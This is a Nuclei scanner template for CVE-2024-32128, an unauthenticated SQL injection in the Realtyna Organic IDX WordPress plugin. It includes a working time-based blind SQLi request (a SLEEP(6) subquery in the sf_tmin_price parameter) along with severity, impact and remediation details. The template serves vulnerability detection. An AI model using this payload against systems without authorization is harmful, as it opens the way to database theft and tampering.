id: CVE-2024-32128

info:
  name: WordPress Realtyna Organic IDX Plugin <= 4.14.4 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Realtyna Organic IDX plugin plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.14.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of the plugin, version 4.14.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32128
    - https://patchstack.com/database/wordpress/plugin/real-estate-listing-realtyna-wpl/vulnerabilities
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "plugins/real-estate-listing-realtyna-wpl"
  tags: cve,cve2024,wordpress,wp-plugin,sqli,realtyna,wp,unauth,real-estate-listing-realtyna-wpl,info-leak,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?wpl_format=f:property_listing:ajax&wpl_function=get_total_results&sf_tmin_price=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":1") || contains(body, "\"total\":")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 10s
        GET /?wpl_format=f:property_listing:ajax&wpl_function=get_total_results&sf_tmin_price=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(6))x) HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"success\":1") || contains(body, "\"total\":")'
        condition: and
# digest: 490a0046304402200b3c851123eef9d1a10a07382ef58ab3587efa90b57c09dd472b4d1438495adb022029a07e8c5a084c0b222cad02a34bd5cc044f0678039a4ff64c86de9d2d74ca41:922c64590222798bb761d5b6d8e72950